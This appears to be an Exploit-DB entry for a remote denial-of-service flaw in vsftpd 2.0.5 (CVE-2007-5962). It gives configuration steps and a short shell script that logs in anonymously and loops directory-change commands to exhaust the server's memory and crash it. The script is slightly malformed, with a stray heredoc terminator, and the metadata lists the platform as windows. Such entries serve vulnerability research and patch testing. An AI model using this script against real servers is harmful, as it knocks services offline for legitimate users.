vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1)

Author: Martin Nagy
type: dos
platform: windows
port: 
date_added: 2008-05-21 
date_updated: 2016-12-07 
verified: 1 
codes: CVE-2007-5962;OSVDB-45626 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comvsftpd-2.0.5.tar.gz

source: https://www.securityfocus.com/bid/29322/info


The 'vsftpd' FTP server is prone to a remote denial-of-service vulnerability because it fails to free allocated memory.

Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users.

# echo deny_file=foo >> /etc/vsftpd/vsftpd.conf
# service vsftpd restart

$ cat > memtest.sh <<EOF
 EOF
#!/bin/bash
echo USER anonymous
echo PASS foo@bar.com

while [ 1 ]; do
        echo CWD pub
        echo CWD ..
done
EOF